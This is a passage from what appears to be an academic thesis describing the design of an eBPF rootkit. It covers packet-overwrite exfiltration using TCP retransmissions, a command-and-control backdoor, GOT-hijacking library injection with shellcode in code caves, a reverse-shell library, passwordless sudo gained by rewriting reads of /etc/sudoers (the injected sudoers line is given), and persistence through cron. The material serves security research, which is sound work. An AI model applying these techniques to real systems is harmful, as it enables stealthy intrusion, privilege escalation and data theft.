• XDP and TC programs are not able to create packets, they can only operate over
existing traffic.

• If an XDP program modifies an incoming packet, the kernel will not know about the
original data, but if an egress TC program modifies a packet being sent, the kernel
will be able to notice the modification.

Having the previous restrictions in mind, we can find multiple possible malicious uses
of an XDP/TC program:

• Monitor all network connections in the system. An XDP or TC ingress program
can read any packet from any interface, therefore achieving a comprehensive view
on which are the running communications and opened ports (even if protocols with
encryption are being used) and gathering transmitted data (if the connection is also
in plaintext).

• Hide arbitrary traffic from the host. If an XDP program drops a packet, the kernel
will not be able to know any packet was received in the first place. This can be used
to hide malicious incoming traffic. However, as we will mention in Section 4.5,
malicious traffic may still be detected by other external devices, such as network-
wide firewalls.

• Modify incoming traffic with XDP programs. Every packet can be modified (as
we mentioned at the beginning of Section 3.4), and any modification will be unno-
ticeable to the kernel, meaning that we will have complete, invisible control over
the packets received by the kernel.

• Modify outgoing traffic with TC egress programs. Since every packet can be mod-
ified at will, we will therefore have complete control over any packet sent by the
host. This can be used to enable a malicious program to communicate over the
network and exfiltrate data, since even if we cannot create a new connection from
eBPF, we can still modify existing packets, writing any payload and headers on it
(thus being able to, for instance, change the destination of the packet).
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Notice, however, that these modifications are not transparent to the kernel as with
XDP, and thus an internal firewall may detect our malicious traffic.

Although we mention the possibility of modifying outgoing traffic as an alternative to
the impossibility of sending new packets from eBPF, there exists a major disadvantage by
doing this, since the original packet of the application will be lost, and we will thus be
disrupting the normal functioning of the system (which in a rootkit is unacceptable, as we
mentioned in Section 1.1, stealth is a priority).

There exists, however, a simple way of duplicating a packet so that the original packet
is not lost but we can still send our overwritten packet. This technique, first presented
by Guillaume Fournier and Sylvain Afchain in their DEFCON talk, consists of taking
advantage of TCP retransmissions we described on Section 2.8.2. Figure 3.2 shows this
process:

Fig. 3.2. TCP retransmissions technique to duplicate a packet for exfiltrating data.

In the figure, we can observe a host infected by a malicious TC egress program. An
user space application at some point needs to send a packet (in this case a simple ping),
and the TC program will overwrite it (in this case, it writes a password which it has been
able to find, and substitutes the destination IP address with that of a listening attacker).
After the timer runs out, the TCP protocol itself will retransmit the same packet as previ-
ously and thus the original data is delivered too.
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Using this technique, we will be able to send our own packets every time an applica-
tion sends outgoing traffic. And, unless the network is being monitored, this attack will
go unnoticed, provided that the delay of the original packet is similar to that when a single
packet lost.

3.4.2. Takeaways

As a summary, networking eBPF programs offer complete control over incoming and out-
going traffic. If tracing programs and memory corruption techniques served to disrupt the
trust in the execution of both any user and kernel program, then a malicious networking
program has the potential to do the same with any communication, since any packet is
under the control of eBPF.

Ultimately, the capabilities discussed in this section unlock complete freedom for the
design of malicious programs. As we will explain in the next chapter, one particularly
relevant type of application can be built:

• A backdoor, a stealthy program which listens on the network interface and waits
for secret instructions from a remote attacker-controlled client program. This back-
door can have Command and Control (C2) capabilities, meaning that it can pro-
cess commands sent by the attacker and received at the backdoor, executing a series
of actions corresponding to the request received, and (when needed) answering the
attacker with the result of the command.
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In the previous chapter, we discussed the capabilities of eBPF programs from a se-
curity standpoint, detailing which helpers and program types are particularly useful for
developing malicious programs, and analysing some techniques (stack scanning, over-
writing packets together with TCP retransmissions) which helps us circumvent some of
the limitations of eBPF.

Taking as a basis these capabilities, this chapter is now dedicated to a comprehen-
sive description of our rootkit, including the techniques and functionalities implemented,
thus showing how these capabilities can lead to the creation of a real malicious applica-
tion. As we mentioned during the project objectives, our goals for our rootkit include the
following:

• Hijacking the execution of user programs while they are running, injecting libraries
and executing malicious code, without impacting their normal execution.

• Featuring a command-and-control module powered by a network backdoor, which
can be operated from a remote client. This backdoor should be controlled with
stealth in mind, featuring similar mechanisms to those present in rootkits found in
the wild.

• Tampering with user data at system calls, resulting in running malware-like pro-
grams and for other malicious purposes.

• Achieving stealth, hiding rootkit-related files from the user.

• Achieving rootkit persistence, the rootkit should run after a complete system reboot.

We will firstly present an overview on the rootkit architecture and design. Afterwards,
we will be exploring each functionality individually, offering a comprehensive view on
how each of the systems work.

4.1. Rootkit architecture

Figure 4.1 shows an overview of the rootkit modules and components which have been
built for this research work.
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Fig. 4.1. Overview of the rootkit modules and components.
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As we can observe in the figure, we can distinguish 6 different rootkit modules, along
with a rootkit client which provides remote control of the rootkit over the network from
the attacker machine. Also, there exists a rootkit user space process, which is listening
for commands issued from the kernel-side, transmitted through a ring buffer.

• The user space process of the rootkit is in charge of loading and attaching the eBPF
rootkit in the kernel, and creating the eBPF maps needed for their operations. For
this, it uses the eBPF programs configurator, an internal structure that manages the
eBPF modules at runtime, being able to attach or detach them after a command to
do so is received.

The user space process also listens to any data received at the ring buffer, a special
map which the eBPF program at the kernel will use to communicate with the user-
side, issuing commands and triggering actions from it. Between other actions, the
rootkit user space process can spawn TLS clients, execute malicious programs or
use the eBPF program configurator for managing the eBPF programs.

• The library injection module is in charge of hijacking the execution of target pro-
cesses by injecting a malicious library. For this, it uses a set of eBPF tracepoints in
the kernel side, and a code caver module in the user side in charge of scanning user
processes and injecting shellcode, apart from the malicious library itself, which is
prepared to communicate with the attacker’s remote client.

• The execution hijacking module is in charge of hijacking the execution of pro-
grams right before the process is even created, modifying the kernel function argu-
ments in such a way that the a new malicious program is called, but the original
information is not lost so that the malicious program can still create the original
process. Therefore, it hijacks the creation of processes by transparently injecting
the creation of one additional malicious process on top of the intended one.

• The privilege escalation module is in charge of ensuring that any user process
spawned by the rootkit will maintain full privilege in the system. Therefore, it
hijacks any call to the sudoers file (on which privileged users are listed) so that the
user on which the rootkit is loaded is always treated as root. Note that we have not
listed this module as one of the main project objectives mainly because it acts as a
helper to other modules, such as the execution hijacking one.

• The backdoor is one of the most critical modules in the rootkit. It has full control
over incoming traffic with an XDP program, and outgoing traffic with a TC egress
program. As we will see, both the XDP and TC programs are loaded in different
eBPF programs, so they use a shared eBPF map to communicate between them.

The backdoor maintains a Command and Control (C2) system that is prepared to
listen for specially crafted network triggers which intend to be stealthy and go un-
noticed by network firewalls. These triggers transmit information and commands
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to the XDP program at the network border, which the backdoor is in charge of in-
terpreting and issuing the corresponding actions, either by writing data at an eBPF
map in which other eBPF programs are reading or issuing an action request via the
ring buffer. On top of that, the TC program interprets the data parsed by the XDP
program and shapes the outgoing traffic, being able to inject secret messages into
packets.

• The rootkit stealth module is in charge of implementing measures to hide the
rootkit from the infected host. For this, it hijacks certain system calls so that rootkit-
related files and directories are hidden from the system.

• The rootkit persistence module is in charge of ensuring that the rootkit will stay
loaded even after a complete reboot of the infected system. For this, it injects secret
files at the cron system (which will launch the rootkit after a reboot) and at the sudo
system (which maintains the privileged permissions of the rootkit after the reboot).

• The rootkit client is a command-line interface (CLI) program that enables the at-
tacker to remotely control the rootkit at the infected machine. For this, it incorpo-
rates multiple operation modes that launch different commands and network trig-
gers. These network triggers, and any other packet sent to the backdoor, are custom
designed TCP packets sent over a raw socket, enabling to avoid the noisy TCP
3-way handshake and to control every detail of the packet fields. Each of the mes-
sages generated by the client (and sent by the backdoor) follow a custom rootkit
protocol, that defines the format of the messages and allows both the client and the
backdoor to identify those packets belonging to this malicious traffic. In order to
craft these packets, the rootkit client uses a raw sockets library (RawTCP_Lib) that
we have developed for this purpose [18]. Section 4.6.2 covers in great detail the
development of this library.

The RawTCP_Lib library incorporates packets building, raw socket packet trans-
missions, and a sniffer for incoming packets. This sniffer is particularly relevant
since the client will need to listen for responses by the rootkit backdoor and quickly
detect those that follow the rootkit protocol format.

Apart from the network triggers, upon receiving a response by the backdoor the
rootkit client can start pseudo-shells connections (commands can be sent to the
backdoor and the backdoor executes them, but no shell process is spawned in the
client), or spawn TLS servers that establish an encrypted connection with the back-
door. This connection, internally, still uses the custom rootkit protocol to act as a
pseudo-shell, enabling to execute commands remotely.

With respect to how the rootkit implementation is distributed into multiple programs,
we can find that, overall, there exist 4 main components, as shown in Figure 4.2.

As we can observe in the figure, the rootkit modules we have overviewed previously
are distributed into different files:
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Fig. 4.2. Rootkit programs and scripts.
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• The program injector comprises the rootkit client and the shared library RawTCP_
Lib. This program is to be launched from the attacker machine after a successful
infection of a host.

• The program tc contains the TC program needed for managing the egress network
traffic. The reason why it is loaded separately is because the libbpf library does not
currently incorporate support for integrating TC programs easily as with XDP or
tracepoints.

This program is also responsible of creating the shared map which the backdoor
will use, and therefore it must be the first part of the rootkit loaded.

• The program kit contains most of the rootkit functionality, spawning the user pro-
cess and the kernel-side eBPF programs and maps.

• The packager.sh and deployer.sh files are scripts which an attacker, upon gaining
access to a machine, can use to quickly set up the rootkit and infect the machine:

– packager.sh compiles the rootkit and prepares the injector, kit and tc files in
an output directory to be used (this directory is hidden by the rootkit once it is
loaded).

– deployer.sh uses the output directory to launch the rootkit files in order (first
tc, then kit). It also injects the necessary files into the sudoers.d and cron.d
directories (which will be later hidden by the rootkit) to maintain persistence.

4.2. Library injection module

In this section, we will discuss how to hijack a user process running in the system so
that it executes arbitrary code instructed from an eBPF program. For this, we will be
injecting a library which will be executed by taking advantage of the fact that the GOT
section in ELFs is flagged as writable (as we introduced in Section 2.9.1 and using the
stack scanning technique covered in Section 3.3.1. This injection will be stealthy (it must
not crash the process) and will be able to hijack privileged programs such as systemd, so
that the code is executed as root.

We will also research how to circumvent the protections which modern compilers have
set in order to prevent similar attacks (when performed without eBPF), as we overview in
Section 2.9.2.

This technique has some advantages and disadvantages to the one described by Jeff
Dileo at DEFCON 27 [97], which we will briefly cover before presenting ours. Both
techniques will be later compared in Chapter 6.
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4.2.1. ROP with eBPF

In 2019, Jeff Dileo presented in DEFCON 27 the first technique to achieve arbitrary code
execution using eBPF [97]. For this, he used the ROP technique we described in Sec-
tion 2.7.2 to inject malicious code into a process. We will present an overview on his
technique, in order to later compare it to the one we will develop for our rootkit and find
advantages and disadvantages. Note that this is a summary and some aspects have been
simplified, however we will go in full detail during the explanation of our own technique.

Figure 4.3 shows an overview on the process memory and the eBPF programs loaded.
For this injection, we will use the stack scanning technique (Section 3.3.1) using the
arguments of a system call whose arguments are passed using the stack (sys_timerfd_
settime, which receives two structs utmr and otmr). Therefore, a kprobe is attached to the
system call, so that it can start to scan for the return address of the system call, which we
know is the original value of register rip which was pushed into the stack (ret).

Fig. 4.3. Initial setup for the ROP with eBPF technique.

An additional aspect must be introduced now (we will cover it more in detail in Section
4.2.3): system calls are not directly called by the instructions in the .text section, but rather
user programs in C make use of the C Standard Library to delegate the actual syscall,
which in this case is the GNU Standard Library (glibc) [99]. Therefore, a program calls a
function in glibc (in this case timerfd_settime) in which the syscall is performed, and the
kernel executes it.

This means that, during the stack scanning technique, if we start from struct utmr and
scan forward in the stack, what we will find in ret is the return address of the PLT stub
that calls the function at glibc, and not directly that of the syscall to the kernel. Therefore,
our goal is, for every data in the stack while scanning forward, check whether it is the
real return address of the PLT stub we are looking for. For an address to be the real return
address, we will follow the next steps:
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1. Take an address from the stack. If that is the return address (the saved rip), then the
instruction that called the PLT stub that jumps to the function in glibc must be the
previous instruction (rip - 1).

2. We now have a call instruction, that directs us to the PLT stub. We take the address
stored at the GOT section and jump to the function at glibc.

3. We scan forward, inside timerfd_settime of glibc, until we find a syscall instruction.
That is the point where the flow of execution moves to the kernel, so we have
checked that the return address we found in the stack truly is the one we are looking
for.

Now that we have found the return address, we save a backup of the stack (to recover
the original data later) and we proceed to overwrite the stack using bpf_probe_write_
user(), setting it for the ROP technique. For this, some gadgets (G0, G1 ... GN) have been
previously discovered in the glibc library. Figure 4.4 shows process memory after this
overwrite:

Fig. 4.4. Process memory after syscall exits and ROP code overwrites the stack.

As we can see in the figure, the function has already exited, and ret has been popped
into register rip. As we explained in Section 2.7.2, the attacker places in that position the
address of the first ROP gadget. After that, the attacker can execute arbitrary code. Jeff
Dileo, for instance, loads a malicious library into the process (we will do the same and
explain this process in the next sections).

Once the attacker has finished executing the injected code, the stack must be restored
to the original position so that the program can continue without crashing. A simplified
view of this procedure consists of attaching a kprobe to a random system call (in this case,
sys_close()) so that, from the ROP code, we can alert the eBPF program when it is time
to remove the ROP code and restore the original stack. Figure 4.5 shows this final step:
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Fig. 4.5. Stack data is restored and program continues its execution.

As we can see, eBPF writes back the original stack and thus the execution can con-
tinue. Note that, in practice, some final gadgets must also be executed in order to restore
the state of rip and rsp. The stack data for this is written in the free memory zone, so that
it does not need to be removed.

4.2.2. Bypassing hardening features in ELFs

During Section 2.9.2, we presented multiple security hardening measures that have been
introduced to prevent common exploitation techniques (such as stack buffer overflows)
and that nowadays can be incorporated, usually by default, in ELF binaries generated
using modern compilers. We will now explore how to bypass these features, so that we
can design an injection technique that can target any process in the system, independently
on whether it was compiled using these mitigations.

Stack canaries
Since stack canaries will be checked after the vulnerable function returns, an attacker
seeking to overwrite the stack must ensure that the value of the canary remains constant.
In the context of a buffer overflow attack, this can be achieved by leaking the value of the
canary and incorporating it into the overflowing data at the stack, so that the same value
is written on the same address [100].

In our rootkit, unlike in the ROP technique presented in Section 4.2.1, we will avoid
overwriting the value of the saved rip in the stack completely. Therefore, as long as our
eBPF program leaves all registers and stack data in the same state as before calling the
function, we will not trigger any alerts.

DEP/NX
The only alternative for an attacker upon a non-executable stack is either injecting shell-
code at any other executable memory address, or the use of advanced techniques like ROP
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that fully circumvent this mitigation since the data at the stack is not directly executed at
any step.

In our rootkit, we will choose the first option, scanning the process virtual memory
for an executable page where we will inject our shellcode. This process is usually known
as finding ’code caves’.

ASLR
In order to bypass ASLR, attackers must take into account that, although the address at
which, for instance, a library is loaded is random, the internal structure of the library
remains unchanged, with all symbols in the same relative position, as Figure 4.6 shows.

Fig. 4.6. Two runs of the same executable using ASLR, showing a library and two symbols.

As we can observe in the figure, although glibc is loaded at a different base address
each run, the offset between the functions it implements, malloc() and free(), remains
constant. Therefore, a method for bypassing ASLR is to gather information about the
absolute address of any symbol, which can then easily lead to knowing the address of any
other if the attacker decompiles the executable and calculates the offset between a pair of
addresses where one is known. This is the chosen method for our technique.

PIE
Similarly to ASLR, although the starting base address of each memory section is random,
the internal structure of each section remains the same. Therefore, if an attacker is able
to leak the address of some symbol in a section, and by knowing the offset at which it is
located with respect to the base address of the section, then the address of any other sym-
bol in the same section can be calculated [101]. This is the technique we will incorporate
in our rootkit.

RELRO
If an executable was compiled using Partial RELRO, then the value of GOT can still
be overwritten. If in turn it was compiled using Full RELRO, this stops any attempt of
GOT hijacking, unless an attacker finds an alternative method for writing into the virtual
memory of a process that bypasses the read-only flag.
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In our rootkit, we will directly write using eBPF the value of GOT if it was compiled
with Partial RELRO, and use an alternative technique for writing into the virtual memory
of a process whenever it was compiled using Full RELRO.

4.2.3. Library injection via GOT hijacking

Taking into account the previous background and that about stack attacks, ELF’s lazy
binding and hardening features for binaries we presented in Section 2.9, we will now
present the exploitation technique incorporated in our rootkit to inject a malicious library
into a running process.

This attack is based on the possibility of overwriting the data at the GOT section. As
we have mentioned previously, this section is marked as writeable if the program was
compiled using Partial RELRO, meaning that we will be able to overwrite its value from
an eBPF program using the helper bpf_probe_write_user(). After modifying the value
of GOT, a PLT stub will take the new value as the jump address (as we explained in
Section 2.9.1), effectively hijacking the flow of execution of the program. In the case that
a program was compiled with Full RELRO (which will be the case of many programs
running by default in a Linux system such as systemd), we will make use of the /proc
filesystem for overwriting this value.

The rootkit will inject the library once an specific syscall is called by a process, but
the library injection will only happen after the second syscall, since we need to wait for
the GOT address to be loaded by the dynamic linker. This is a necessary step because
eBPF will need to validate that it really is the GOT section to overwrite.

This technique works both in compilers with low hardening fetaures by default (Clang)
and also on a compiler with all of them active (GCC), see Table 2.22. On each of the steps,
we will detail the different existing methods depending on the compiler features.

For this research work, the rootkit is prepared to perform this attack on any process
that makes use of either the system call sys_openat or sys_timerfd_settime, which are
called by the standard library glibc.

We will now describe the multiple exploitation stages for our technique. Figure 4.7
shows a flow diagram with the complete process.

Stage 1: eBPF tracing and scan the stack
We load and attach a tracepoint eBPF program at the enter position of syscall sys_
timerfd_settime. Firstly, we must ensure that the process calling the tracepoint is one
of the processes to hijack.

We will then proceed with the stack scanning technique, as we explained in Section
3.3.1. In this case, we will take one of the syscall parameters and scan forward in the
stack. For each iteration, we must check if the data at the stack corresponds to the saved
return address of the PLT stub that jumps to glibc where the syscall sys_timerfd_settime
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Fig. 4.7. Flow diagram of execution of a successful library injection.
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is called. Figure 4.8 shows an overview of how these call instructions relate each memory
section.

Fig. 4.8. Overview of jump and return instructions from the program instructions to the syscall at
the kernel.

The following are the steps we will follow to perform check some data at the stack is
the saved return address:

1. Check that the previous instruction is a call instruction, by checking the instruction
length and opcodes (call instructions always start with e8, and the length is 5 bytes,
see Figure 4.9).

Fig. 4.9. Call to the glibc function, using objdump.

2. Now that we know we localized a call instruction, we take the address at which it
jumps. That should be an address in a PLT stub.

3. We analyse the instructions at the PLT stub. If the program was compiled with
GCC, the first instruction will be an endbr64 instruction followed by the PLT jump
instruction using the address at GOT (see Figure 4.10), since it generates Intel CET-
compatible programs. Otherwise, if using Clang, which does not generate Intel
CET instructions, the first instruction is the PLT jump (see Figure 4.11).

We analyse the jump instruction and, again, take the address at which it jumps. This
time, it should be the address of the function at glibc.

Fig. 4.10. PLT stub generated with gcc compiler, using objdump.
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Fig. 4.11. PLT stub generated with clang compiler, using objdump.

4. We now have the address of timerfd_settime at glibc, from where the syscall will
be called. From eBPF, we continue to scan the first opcodes and compare them to
those we expect to find at glibc. Specifically, the function would have to contain the
instruction opcodes shown in Figure 4.12. Note that, in our version of Ubuntu, we
will find Glibc compiled with GCC.

Fig. 4.12. Timerfd_settime function at glibc, using objdump.

Once we ensured we reached the correct glibc function, we are now sure that the
data we found at the stack is the return address of the PLT stub that jumped to glibc and
called the syscall sys_timerfd_settime. Most importantly, we know the address of the
GOT section which we want to overwrite.

Our rootkit also incorporates an alternative scanning technique for processes calling
the syscall sys_openat(). This technique enables to scan the stack even when the system
call does not incorporate any arguments from the userspace (and thus we cannot take them
from our eBPF tracing program to use them as a foothold in the stack).

As we explained in Section 3.2.1, tracepoint programs receive an struct pt_regs pointer
as an argument. We can take this struct and use the value of register rbp as our starting
point for scanning the stack. As we can see on Figures 4.11, 4.10 and 4.12, the PLT does
not contain any function prologue (it does not modify the value of rsp) and the function
at glibc does not change this value either. Therefore, in our eBPF program, since we are
hooking the syscall at the beginning of its execution, the value of rbp will be the original
frame pointer before calling the PLT, and therefore we can use it as our starting address
for stack scan, proceeding to scan forward until we find the saved return address.

Stage 2: Programming shellcode
Once that we have the address of the GOT section, we need to prepare our shellcode to
be injected into the process memory. We will overwrite the value at GOT and redirect the
flow of execution to the address at which our shellcode is stored in memory.

Since we want our shellcode to be able to load a library, it will need to call the function
__libc_dlopen_mode, which can be found in glibc. This function expects to receive as an
argument a string with the file path of the malicious library, and therefore the shellcode
will also need to call __libc_malloc to allocate space for the argument. Tables 4.1 and 4.2
explain the expected arguments and return value of each function in detail.
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REGISTER VALUE
edi Number of bytes to allocate.
rax Return value, contains the address at which the requested

bytes were allocated

Table 4.1. Arguments and return value of function __libc_malloc.

REGISTER VALUE
rsi 0x1, indicating flag RTLD_LAZY
rdi Address where to read path of library to load

Table 4.2. Arguments of function __libc_dlopen_mode.

The programs were compiled having ASLR active, and therefore we cannot know the
virtual address at which these functions are loaded into the process memory. However,
since we have leaked the address of timerfd_settime at glibc with the previous eBPF scan,
we can calculate the address of the other functions, as we introduced in Section 4.2.2.
Figure 4.13 shows an example of this process.

Fig. 4.13. Functions at glibc with ASLR active.

We will use the example of the figure to illustrate how to calculate the address of the
functions:

1. Decompile using objdump the glibc diagram and calculate the constant offset be-
tween the timerfd_settime function (whose address we will know at runtime) and
a reference function usually found in the first addresses of glibc, in this case __
libc_start_main (this step can be avoided, but it is recommended when searching
for many functions and to avoid working with negative offsets). In the example,
this offset is 0x30000.

2. Calculate the offset from the reference function __libc_start_main to __libc_dlopen_
mode and __libc_malloc. In the example, this is 0x20000 and 0x5000 respectively
by looking at decompiled glibc.

3. During runtime, although the ASLR offset will be applied, it will skew all functions
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inside glibc by the same amount, and therefore the offsets previously calculated will
be maintained. By using the previously, calculated offsets, we get that:

• __libc_start_main = timerfd_settime - 0x30000

• __libc_dlopen_mode = __libc_start_main + 0x50000

• __libc_malloc = __libc_start_main + 0x20000

Once we know the address of the functions we want our shellcode to call, we can start
to develop it. We will program an x86_64 assembly program, from which we will extract
its opcodes. The shellcode will follow the next algorithm:

1. Backup the value of all registers, including rbp and rsp. We must ensure that the
stack frame is not modified after the shellcode ends, otherwise we may trigger a
stack canary alert.

2. Allocate memory for the pathname of the library at the heap using __libc_malloc.

3. Write into the allocated memory the pathname of our library to load.

4. Call __libc_dlopen_mode indicating the allocated memory with the library path-
name. Before doing this, we found that reserving an additional stack frame re-
duces the chances of the process crashing, since apparently the function modifies
the stack. By moving rbp and rsp, we prevent the function from modifying any
pre-existing data.

5. Restore the original value of the registers, and jump back to the original system call
which the glibc function intended to call.

The complete developed shellcode and its opcodes can be found in Appendix C -
Library injection shellcode.

Stage 3: Injecting shellcode in a code cave
Once we have developed our shellcode, and before overwriting the value of GOT, we
need to find a memory section where to write our shellcode, so that we can executing the
necessary instructions to inject our malicious library. This area must be large enough to
fit our shellcode, and it must be marked as executable.

Because of DEP/NX, we cannot use the stack for executing code. On top of that, as
we can observe in the section header dump at Appendix B - Section headers in ELF file,
for security reasons all sections are nowadays marked either writeable or executable, but
never both simultaneously.

Therefore, we will use the proc filesystem which we introduced in Section 2.10. By
using the file under /proc/<pid>/maps, we will easily identify the address range of those
memory sections marked as executable, and by using the file /proc/<pid>/mem, we will
write our shellcode into that memory section, bypassing the absence of a write flag.
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Although we may write freely into any virtual address using this technique, as we saw
in Section 2.10.1 executable memory usually corresponds to the .text section. Therefore,
we are at risk of overwriting critical instructions of the program. This is the reason why
we must search for empty memory spaces inside the virtual memory, called code caves.

We will consider an appropriate code cave as a continuous memory space inside the
.text section that consists of a series of NULL bytes (opcode 0x00). Although in principle
this may seem like a rare occurence, it is a common find in most processes due to how
memory access control is implemented.

In Figure 2.29, we can observe how virtual memory sections have a length of 0x1000,
or are a multiple of it. This is not an arbitrary number, but rather it is because memory
sections must always be of length multiple of the system page length (4 KB = 0x1000
bytes). Therefore, the minimum granularity of a set of permissions over a memory section
is of 0x1000 bytes.

Since sections must occupy a multiple of 1000 bytes, this leads to multiple sections
which leave lots of empty, NULL bytes, unocuppied without any instructions. This is the
reason why we will, quite probably, find a code cave in most processes.

Therefore the steps to find a code cave and inject our shellcode are the following:

• Send a command from eBPF to the rootkit user space program, indicating that we
want to find a code cave in process with an specific PID.

• Iterate over each entry of /proc/<pid>/maps, looking for a sufficiently large code
cave in an executable memory section.

• Inject the shellcode into the code cave using /proc/<pid>/mem.

Note that, although we used the /proc/<pid>/maps file for finding a code cave, this can
still be done using the helper bpf_probe_read (by taking the return address at the stack
and scanning forward in the .text section) or, in the case of programs compiled without
PIE, finding an static code cave at the .text section by decompiling the program (since the
.text section will be loaded at the same position on every program execution). Still, we
would have needed to use /proc/<pid>/mem for bypassing the write access prevention.

Stage 4: Overwriting GOT
Once the shellcode is loaded at the code cave, eBPF can proceed to overwrite the GOT
value with the address of the code cave. As we mentioned, this address is writable using
the helper bpf_probe_write_user() if the program was compiled using Partial RELRO, but
it cannot be modified if Full RELRO was used.

Therefore, our rootkit will modify GOT using bpf_probe_write_user() with the ad-
dress of an static code cave for those programs compiled with Clang (Partial RELRO, no
PIE), and use /proc/<pid>/mem for modifying GOT with the value of code cave found us-
ing /proc/<pid>/maps for those programs compiled using GCC (Full RELRO, PIE active).
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Stage 5: Second syscall, execution of the library
Once we have overwriten GOT with the address of our code cave, the next time the same
syscall is called, the PLT stub will jump to our code cave and execute our shellcode. As
instructed by it, the malicious library will be loaded and afterwards the flow of execution
jumps back to the original glibc function.

With respect to the malicious library, it forks the process (to keep the malicious exe-
cution in the background) and spawns a simple reverse shell which the attacker can use to
execute remote commands.

4.3. Privilege escalation module

In this section we will discuss how the rootkit tampers with the access control permissions
in the system, so that unprivileged programs gain root access. Although it is based on a
simple technique, it will be used to support other modules launching malicious programs
with full privilege (such as the execution hijacking module).

Therefore, the purpose of this section is that, without having to introduce any pass-
word, programs executed by an unprivileged user can enjoy privileged access in a infected
system.

4.3.1. Sudoers file

Sometimes, unprivileged users need to run a program requiring privileged access. For this,
Linux systems incorporate the sudo security policy module, which sets a ’sudo’ privilege
on users and user groups, allowing them to run a program as root.

The most widespread and default sudo security policy module is the ’sudoers’ policy
module, which sets the available sudo permissions of users and groups in the /etc/sudoers
file [102]. In this file, the system administrator can determine the specific permissions of
each entity and set different options, including whether they need to introduce the user
password when using the ’sudo’ command, which is particularly relevant for us. Figure
4.14 shows the /etc/sudoers file of the host we will infect with our rootkit.

Fig. 4.14. /etc/sudoers file of infected host.
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As we can observe in the figure, members of the sudo group are allowed to execute
any command as root. Figure 4.15 shows the users which belong to this group.

Fig. 4.15. /etc/group file in the infected host.

As we can appreciate, the user osboxes (the default user in the host) is included in this
group, and therefore this user is allowed to use sudo and run commands as root.

Any user can check its current sudo privileges by running the command sudo -l .
Figure 4.16 shows this for the osboxes user.

Fig. 4.16. Sudo privileges of user osboxes, with sudo -l.

The value of these entries is taken from the parameters set in figure 4.14, where each
of the ALL values mean:

• First ALL: Any user of the group

• Second ALL: Any host

• Third ALL: As any user

• Fourth ALL: Any command

Therefore, user osboxes, as part of the sudo group, may run any command as any
user in any host as sudo. The host part is not relevant for our us, since it is used when a
single sudoers file is distributed between multiple machines, but we still have to follow
the appropriate format when writing an entry in the /etc/sudoers file.

Each time we execute a command with sudo, a process named ’sudo’ will open and
read the /etc/sudoers file, interpreting the contents and allowing or rejecting the action.
Note that, although once a user introduces the sudo password it may not be asked again
for a period of time, the sudo process will still open and read the /etc/sudoers file for each
time sudo is used. This aspect is particularly relevant for our technique.

4.3.2. Hijacking sudoers read accesses

We will now discuss how our rootkit tampers with the sudoers policy module. The tech-
nique we will present is based on modifying the content that the sudo process reads from
the /etc/sudoers file, so that what the user process receives is different than that contained
in the file. By crafting some special entries in the file, we can grant automatic password-
less access to any process we want.
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In order to read the contents from the /etc/sudoers file, the sudo process will need to
perform the following actions:

• Open the file, using the syscall sys_openat.

• Read the file, using the syscall sys_read.

Note that some intermediate or additional syscalls such as sys_newfstatat, sys_lseek
or sys_close are also called, but we are not considering them for simplicity.

Table 4.3 shows the parameters expected by these system calls, based on [103].

SYSTEM CALL ARGUMENTS

sys_openat

int dfd
const char __user *filename

inf flags
umode_t umode

sys_read
unsigned int fd

char __user *buf
size_t count

Table 4.3. Arguments of syscalls used by sudo process.

The table shows that there exist two arguments marked as __user, which, as we ex-
plained in Section 3.3.1, can be overwritten from an eBPF tracing program using the
helper bpf_probe_write_user(). Therefore, there exist two different attack vectors:

• Modify the argument filename, so that the sudo process opens a fake, crafted su-
doers file. In this file we would write the entries needed for our user to have sudo
privilege without a password. Since the sys_open syscall returns a file descriptor,
which is later used by sys_read, that is the only argument needed to be modified.

• Modify the buffer buf in the sys_read syscall so that it returns specially crafted data
to the sudo program.

Although the first option is easier, the second technique can not only apply to reading
files, but also to any system calls that loads data into a user buffer. Therefore, the privilege
escalation module will incorporate the second technique to show the potential of eBPF in
this area.

Figure 4.17 shows the complete process of the technique we will use.

As we can observe in the figure, we will use three eBPF tracepoints. The reason for
this is that, although we are able to write into the user buffer at any tracepoint attached to
sys_read, we would lack information with only one tracepoint:
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Fig. 4.17. Buffer overwrite technique for the privilege escalation module.

• An enter tracepoint at sys_openat knows the file being opened, but it does not have
access to the user buffer.

• An enter tracepoint at sys_read has access to the user buffer, but does not know the
name of the file (it only has a file descriptor). Also, if it writes into the buffer now,
it will be overwritten later when the kernel reads the /etc/sudoers file.

• An exit tracepoint at sys_read only receives the return value as a parameter (as we
explained in Section 3.2.1), but it can freely write to the user buffer if it had access
to it, since the kernel already finished writing on it.

Taking the above into account, we designed the privilege escalation technique as fol-
lows:

1. We load and attach three eBPF tracepoint programs, and an eBPF map:

• An enter tracepoint attached to sys_openat (sys_enter_openat).

• An enter tracepoint attached to sys_read (sys_enter_read).

• An exit tracepoint attached to sys_read (sys_exit_read).

• An eBPF map (fs_open) that stores fs_open_data structs, composed of:

– A process name.

– A filename.
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The key of the map fs_open is the PID of the user process from which the
call to an eBPF program originated, this can be obtained using the bpf_get_
current_pid_tgid() helper (see Section 2.2.7).

2. A malicious program we executed from user "osboxes" requests sudo privileges.
Our goal is to let it run with privileged permissions without having to introduce a
password. Note that, although in the system we are using osboxes is a user in the
/etc/sudoers file already (although requiring a password for running as sudo), this
process also works if we used a user not included on it in the first place.

The sudo process opens the /etc/sudoers file. The syscall is called and the sys_
enter_openat tracepoint is called before the syscall is executed. We check that the
syscall was called by the sudo process using the helper bpf_get_current_comm()
(see Section 2.2.7) and, if it is, write the filename into the fs_open map. After that,
the tracepoint exists and the syscall is executed.

3. The sudo process now reads from the file descriptor of the file /etc/sudoers. The sys_
enter_read tracepoint is executed right before the syscall is called. In the tracepoint,
we check if we can find an entry with a filename in the fs_open map using the
process PID as key (which is the same for all tracepoints, since they originated
from the same sudo process). We now write address of the buffer supplied by the
sudo process into the map.

4. The sys_read syscall is executed and, when it is about to exit, our tracepoint sys_
exit_read is executed. We take the filename and the address of the user buffer from
the fs_open map, and overwrite the data at the user buffer which contained the
bytes read from /etc/sudoers using bpf_probe_write_user(). The data we will write
resembles a real entry of the /etc/sudoers file:

osboxes ALL=(ALL:ALL) NOPASSWD:ALL #

Injecting that string into the read file will grant us with password-less sudo privi-
leges. There are two particularly relevant details on it:

• The NOPASSWD option instructs sudo not to request a password.

• A # symbol is included at the end so that any data not overwritten at that line
is considered a comment (see figure 4.14).

Although the previous is sufficient for tricking the sudo process into believing we
have sudo privileges, it can happen that a user (in this case, osboxes) already has an
entry in the /etc/sudoers file. When this happens, the sudo process usually chooses
the last entry that appears on the file or fails.

